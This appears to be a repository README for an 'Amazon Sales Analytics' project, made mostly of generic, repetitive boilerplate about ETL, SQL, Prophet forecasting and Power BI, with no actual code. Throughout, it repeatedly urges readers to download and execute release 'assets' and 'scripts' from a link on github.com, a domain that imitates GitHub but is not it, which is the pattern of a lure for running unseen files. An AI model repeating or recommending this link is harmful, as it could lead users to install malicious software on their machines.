Short Description: An end-to-end Amazon Sales Analytics project demonstrating data engineering, SQL analytics, BI dashboards, cloud integration, and predictive modeling.
Welcome to the Amazon Sales Analytics Project. This repository showcases a complete workflow for turning raw Amazon sales data into actionable insights. It covers data ingestion, transformation, storage, analytics, dashboards, and forecasting. The project emphasizes reproducibility, scalability, and clarity. It blends data engineering, SQL analytics, BI dashboards, cloud integration, and machine learning to deliver a robust analytics solution.
If you are looking to understand how to structure a modern data analytics project around commerce data, you’ve found a solid reference. The examples here are practical, not theoretical. They demonstrate real-world patterns you can adapt to your own data ecosystems.
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Topic focus: amazon, azurite, business-intelligence, cloud, dashboard, data-analysis, data-visualization, database, dynamicdatasource, forecasting, machine-learning-algorithms, powerbi, prophet, python, sql.
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Link to downloadable releases: https://github.com/ramelica/Amazon_Analysis_Project/releases. This page hosts assets you can download and run to reproduce parts of the project locally or in the cloud. The releases may include sample datasets, scripts, and configuration files. See the Releases section below for details.
Architecture at a glance
- A clean data flow from raw source data to refined data stores.
- SQL-based analytics for fast, repeatable reporting.
- Prophet-based forecasting to project demand and revenue trends.
- Power BI dashboards for interactive exploration and storytelling.
- Azure-based cloud integration with local emulation through Azurite for development.
Emojis help keep it friendly, but the approach stays practical. The project favors straightforward, maintainable code and clear documentation so teams can pick up what others built and extend it.
- Amazon data domain
- Azure services and Azurite for local emulation
- Business intelligence and dashboards
- Cloud-first design with local development
- Data analysis and data visualization
- Relational databases and data modeling
- Dynamic data sources and schema evolution
- Forecasting and time-series modeling
- Machine learning algorithms
- Power BI dashboards and reports
- Prophet for forecasting
- Python for ETL, analytics, and modeling
- SQL for analytics and data modeling
This project is designed to be approachable for data engineers, data analysts, and data scientists. It provides a clear path from data ingestion to forecasting and storytelling with dashboards.
- data/
- raw/ Raw inputs from source systems or sample datasets.
- staging/ Cleansed interim data ready for modeling and storage.
- processed/ Curated datasets used for analytics and dashboards.
- src/
- etl/ ETL pipelines that extract, transform, and load data.
- analytics/ SQL queries, stored procedures, and data models for analysis.
- modeling/ Predictive modeling code, including Prophet components.
- notebooks/ Ad-hoc experiments and validation notebooks.
- dashboards/
- powerbi/ Power BI reports and data models (PBIX files, templates).
- docs/
- architecture/ Architecture diagrams and data flow documentation.
- setup/ Environment setup guides and runbooks.
- tests/ Unit tests and data quality checks.
- tools/ Utility scripts (linting, formatting, validation).
- README.md This file.
- requirements.txt Python dependencies (for ETL, analytics, modeling).
- docker-compose.yml Local development with containers (optional).
Notes:
- The structure emphasizes separation of concerns: ingestion, transformation, analytics, and visualization.
- The data model follows a star/snowflake approach for sales data, customers, products, and time dimensions.
- The demo data is designed to be anonymized but representative of typical Amazon-style sales analytics.
Overview
- The data pipeline starts with raw business data and ends in curated data marts and dashboards.
- Each stage is designed to be idempotent, testable, and tunable for performance.
Source Data Ingestion
- Source variety: sales transactions, product catalog, customer data, promotions, and external market indicators.
- Ingest methods: batch CSV/JSON ingestion, API pulls, and optional streaming for near-real-time needs.
- Data validation: basic checks for required fields, data type conformance, and integrity constraints.
Staging and Cleansing
- Data cleansing rules remove duplicates, fix typographical errors, and standardize formats.
- Common transformations include currency normalization, date normalization, and unit conversions.
- Enrichment steps add derived fields like order month, week, and quarter.
Data Modeling and Storage
- A dimensional model thrives here: a central fact table (sales) with surrounding dimension tables (date, product, customer, store, promotions).
- The model supports fast aggregation and flexible slicing for dashboards.
- Storage options include a relational data warehouse (local or cloud) and a data lake for raw and semi-structured data.
Analytics and Forecasting
- SQL analytics traverse star schemas to compute metrics like gross sales, units sold, average order value, and retention metrics.
- Prophet models forecast demand and revenue by product and region, with confidence intervals.
- ML-enabled analyses may include seasonality detection, customer lifetime value estimation, and anomaly detection.
Dashboards and Visualization
- Power BI dashboards connect to the data warehouse, offering interactive visuals, filters, and drill-throughs.
- Visuals emphasize KPIs, time-series trends, cohort analyses, and product-level performance.
- Dashboards support decision-making for pricing, promotions, and inventory planning.
Cloud and Local Development
- Cloud integration relies on Azure storage and databases to host data and models.
- Azurite provides a local emulation layer for Azure Blob storage and Data Lake features, enabling offline development.
- The pipeline can be run locally or deployed in the cloud, with containerized components (optional) for consistency.
Operational Considerations
- Idempotent runs prevent duplicate data when pipelines re-run.
- Clear logging and monitoring enable quick debugging and performance tuning.
- Data quality checks run at the end of each pipeline to ensure dashboards reflect accurate data.
Key dimensions
- Date dimension (calendar attributes, fiscal periods, holidays)
- Product dimension (SKU, category, brand, price, cost)
- Customer dimension (segments, geography, acquisition channel)
- Store or channel dimension (online, mobile, marketplace)
Fact tables
- Sales fact: order_id, date_id, product_id, customer_id, store_id, units_sold, gross_sales, discounts, taxes, shipping_cost, net_sales
- Promotions fact (optional): promo_id, date_id, product_id, impact on sales, discount_amount
Aggregations
- Daily, weekly, monthly, quarterly, and yearly aggregates
- Rolling metrics for moving averages and growth rates
- Cohort-based metrics for customer retention and repeat purchase behaviors
Data quality
- Unique constraints on order_id and product_id in facts
- Referential integrity between facts and dimensions
- Validation checks on value ranges (e.g., unit_price > 0, quantity >= 0)
Schema evolution
- Backward-compatible changes prioritized
- Versioned schemas with migration scripts
- Clear deprecation notices and transition plans
SQL analytics
- Build revenue and unit metrics through straightforward joins and group-bys.
- Explore customer behavior with RFM analyses, cohort calculations, and lifetime value estimates.
- Use window functions for running totals, moving averages, and time-based rankings.
Forecasting with Prophet
- Prophet models forecast demand at product, category, or region levels.
- Inputs include historical sales data, promotions, holidays, and external indicators.
- Outputs include forecasted demand, expected revenue, and confidence intervals.
- Model evaluation through cross-validation and back-testing to ensure reliability.
Machine learning
- Features: seasonality indices, promotional intensity, price elasticity proxies, and customer segments.
- Algorithms: linear models, tree-based methods, and clustering for segmentation.
- Evaluation: accuracy for forecasts, RMSE for numeric predictions, and AUC for classification tasks.
Model lifecycle
- Train-test splits aligned with time-based horizons
- Retraining cadence dictated by data volume and business needs
- Deployment via notebooks, scripts, or small services
Use cases
- Inventory planning: align stock with forecasted demand
- Pricing and promotions: simulate impact of price changes
- Market analysis: compare performance across regions and channels
- Customer insights: identify high-value customers and retention drivers
Power BI
- Interactive dashboards for executives and managers
- Key visuals include revenue trends, product performance, customer cohorts, and campaign effectiveness
- Filters by date, product category, region, and channel enable deep analysis
Data connections
- Dashboards connect to curated data marts or data warehouses
- DirectQuery and Import modes supported depending on data size and latency requirements
- Scheduled data refreshes keep dashboards up-to-date
Data storytelling
- Dashboards designed to answer concrete business questions
- Clear KPIs and variance indicators help identify opportunities and risks
- Drill-throughs provide context for deeper investigation
Dashboards are designed to be self-explanatory, with tooltips and concise captions. They serve as the primary interface for business users to explore insights without needing to touch raw data.
Azure integration
- Cloud storage for raw and processed data
- Scalable compute for ETL and modeling tasks
- Security and access controls aligned with best practices
Azurite for local development
- Azurite emulates Azure Blob storage and Data Lake locally
- Development teams can run pipelines without a live Azure account
- Local environments mirror cloud structure to minimize integration gaps
Data access patterns
- Role-based access to data stores
- Encryption at rest and in transit
- Regular backups and disaster recovery planning
Deployment considerations
- Containerized services for portability (optional)
- IaC templates to reproduce environments
- Versioned configuration to manage environment differences
Prerequisites
- Python 3.9+ or 3.10+ (depending on libraries)
- pip or conda for dependency management
- If using containers, Docker and docker-compose
- Access to hosting services if you want cloud deployment (Azure or equivalent)
Local setup steps
- Clone the repository
- Create a virtual environment
- Install dependencies
- Prepare configuration files and environment variables
- Run data ingestion and ETL
- Run analytics notebooks or scripts
- Open Power BI reports and connect to the data model
Environment configuration
- Create a .env file with credentials and endpoints
- Set paths for raw data, staging, and processed data
- Configure Azure connections if you plan to use cloud storage
- Set the path to Azurite if you use local emulation
Basic commands
- Install dependencies: pip install -r requirements.txt
- Run ETL: python -m src.etl.run_all
- Run analytics: python -m src.analytics.run_all
- Launch notebooks: jupyter notebook
- Start local dashboard data server (if applicable): python -m dashboards.local_server
Data sources and sample data
- Sample datasets are included for demonstration
- If you replace samples with your own data, adjust schemas as needed
- Ensure data privacy is maintained and any sensitive fields are masked
- Prepare a local environment that mirrors your production or cloud setup
- Use Azurite to emulate Azure storage locally if you don’t have a live Azure account
- Keep a local copy of sample data for testing before hitting production data
- Verify data quality after each ETL run
- Validate dashboards display correct aggregates before sharing with teams
Local execution flow
- Ingest raw data into staging
- Cleanse and transform into processed data
- Load into the data warehouse
- Run SQL analytics to generate metrics
- Refresh Power BI datasets
Testing and validation
- Simple unit tests validate data transformations
- Data quality checks confirm primary keys and referential integrity
- Visual validation of dashboards ensures panels reflect the underlying data
Assets that accompany the project reside in the Releases section. The page contains downloadable files and scripts you can run to reproduce parts of the project locally. The assets include sample datasets, environment configurations, and scripts to set up a local workspace. Assets are designed to help you quickly explore the project and verify end-to-end workflows. Check the Releases page for the latest materials and instructions.
- For convenience and quick access, the Releases page is linked above. See https://github.com/ramelica/Amazon_Analysis_Project/releases for the latest assets.
- If you want to download and run the assets, follow the instructions in the release notes and accompanying README files within each asset. The assets in the Release section typically include data files and setup scripts that you can execute in your environment.
- If you need to reference the releases again, you can visit the same page at the link provided: https://github.com/ramelica/Amazon_Analysis_Project/releases
- Follow the project’s contribution guidelines
- Propose changes via pull requests
- Ensure new code paths include tests or data quality checks
- Document any significant changes to data models or dashboards
Contribution aims
- Improve data fidelity
- Expand forecasting scenarios
- Add new dashboards or reports
- Enhance deployment and testing processes
Best practices
- Write clear and concise commit messages
- Add tests and data checks for new features
- Update documentation to reflect changes
- Sample transaction data: synthetic orders, line items, and returns
- Product catalog: product_id, category, price, cost
- Customer data: anonymized identifiers, demographics, segments
- Time dimension: date, month, quarter, year, holidays
- Promotions: discount events, promo types, duration
Handling sensitive data
- Anonymize customer data where appropriate
- Use synthetic or masked data for demos
- Do not expose credentials in the repository
Usage notes
- Replace sample data with your own data to adapt the project to your business
- Ensure your data adheres to schema expectations to avoid ETL errors
- Modularity: Each component is independent, making it easy to replace or extend.
- Reproducibility: Clear steps and environment configurations help reproduce results.
- Clarity: Documentation and naming conventions keep the project readable.
- Performance: SQL analytics leverage efficient joins and aggregations; data volumes can scale with partitions and indexing.
- Forecasting reliability: Prophet models handle seasonality and holidays well when properly configured.
- Visualization: Dashboards are designed to tell stories with data, not just present numbers.
- Expand data sources to include marketplace data from other channels
- Add real-time streaming for near-real-time analytics
- Integrate more forecasting models for comparison
- Build additional dashboards for marketing attribution and inventory optimization
- Improve data quality checks with automated anomaly detection
- Architecture diagrams illustrating data flow, storage, and processing components
- Setup guides for local and cloud environments
- Tutorials for running ETL, performing SQL analytics, and building dashboards
- Sample notebooks for quick experimentation and validation
Images and diagrams
- Architecture diagrams can be included to illustrate data flow and system components
- Inline visuals help convey how data moves from raw inputs to dashboards
Note: Visuals are provided where possible to help you grasp complex flows. If any image is unavailable in your environment, you can still follow the textual steps to implement the workflow.
This project is released under an open license. You can reference the LICENSE file in the repository for the exact terms. The license governs use, distribution, and modification rights.
- Open issues for feature requests, bugs, and questions
- Engage with the community to share improvements and feedback
- Regular updates ensure compatibility with evolving tools and platforms
- Clone the repository
- Install dependencies
- Configure environment variables
- Run ETL to populate the data warehouse
- Run SQL analytics and forecast models
- Connect Power BI to the data model
- Explore dashboards and derive insights
The Releases page hosts downloadable assets for quick experimentation and reproduction. To access the assets, visit the link at the beginning of this document and again in the Releases section below. The assets can be downloaded and executed to reproduce parts of the project in a local or cloud environment. If you need to reference the releases again, you can use the same link: https://github.com/ramelica/Amazon_Analysis_Project/releases
Releases and asset access
- The Releases page contains files you may download and run to reproduce the project locally. The assets are organized to support different environments and data scenarios.
- To download, visit the Releases page: https://github.com/ramelica/Amazon_Analysis_Project/releases
- After downloading, follow the included instructions to execute the assets in your environment.
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What is the goal of this project?
- To demonstrate end-to-end analytics for Amazon sales data, including data engineering, SQL analytics, BI dashboards, cloud integration, and forecasting.
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What tools are used?
- Python for ETL and modeling, SQL for analytics, Prophet for forecasting, Power BI for dashboards, and Azure services with Azurite for local development.
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How do I run this project?
- Follow the Getting Started guide to install dependencies, configure environment variables, and run the ETL, analytics, and dashboards components.
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Where can I find the latest assets?
- The Releases page at https://github.com/ramelica/Amazon_Analysis_Project/releases contains downloadable assets and scripts for quick setup.
End of README.